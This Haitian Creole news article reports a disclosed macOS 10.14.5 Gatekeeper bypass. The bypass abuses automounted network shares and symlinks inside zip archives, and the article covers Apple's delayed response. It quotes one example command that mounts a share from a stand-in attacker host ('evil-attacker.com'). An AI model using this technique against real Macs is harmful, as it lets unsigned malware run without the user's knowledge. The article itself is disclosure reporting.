Li fasil pou enstale yon aplikasyon move sou yon Mac. Apple pa te fikse erè a menm apre twa mwa

Chèchè sekirite Filippo Cavallarin te afiche yon avètisman sou ensèk nan macOS 10.14.5 sou blog li a. Sa a konsiste nan posiblite pou kontourne nèt mezi sekirite Gatekeeper la. Dapre Cavallarin, li te fè remake erè a nan Apple deja nan mwa fevriye ane sa a, men konpayi an pa t 'ranje li nan dènye aktyalizasyon a.

Gatekeeper te devlope pa Apple ak enkòpore nan sistèm operasyon Desktop li pou premye fwa nan 2012. Li se yon mekanis ki anpeche yon aplikasyon nan kouri san yo pa konnen itilizatè a ak konsantman. Apre ou fin telechaje yon aplikasyon, Gatekeeper otomatikman tcheke kòd li a pou wè si Apple siyen lojisyèl an byen.

Nan pòs blog li a, Cavallarin deklare ke Gatekeeper, pa default, konsidere tou de depo ekstèn ak pataje rezo yo se kote ki an sekirite. Nenpòt aplikasyon ki abite nan objektif sa yo ka Se poutèt sa dwe otomatikman te lanse san yo pa bezwen ale nan chèk la Gatekeeper. Li se karakteristik sa a ki ka eksplwate lanse lojisyèl move san yo pa konnen itilizatè a.

Youn nan aspè ki pèmèt aksè san otorizasyon se karakteristik automount, ki pèmèt itilizatè yo otomatikman monte yon pataje rezo tou senpleman lè yo espesifye yon chemen ki kòmanse ak "/net/". Kòm yon egzanp, Cavallarin site chemen "ls /net/evil-attacker.com/sharedfolder/" ki ka lakòz sistèm operasyon an chaje sa ki nan yon katab "sharefolder" nan yon kote aleka ki ka potansyèlman move.

Ou ka gade fason menas la ap travay nan videyo a:

Yon lòt faktè se lefèt ke si yo pataje yon achiv postal ki gen yon lyen senbolik espesifik ki mennen nan fonksyon automount la, Gatekeeper pa pral tcheke li. Nan fason sa a, viktim nan ka fasilman telechaje achiv move a epi dekonprime li, sa ki pèmèt atakè a kouri nòmalman nenpòt lojisyèl sou Mac a san itilizatè a konnen. Chèche a, ki kache sèten ekstansyon pa default, tou gen pati li yo nan vilnerabilite sa a.

Cavallarin deklare sou blog li a ke Apple te atire atansyon sou vilnerabilite sistèm opere macOS la nan dat 22 fevriye ane sa a. Men, nan mitan mwa me, Apple sispann kominike ak Cavallarin, kidonk Cavallarin deside fè tout bagay la piblik.

Sous: FCVL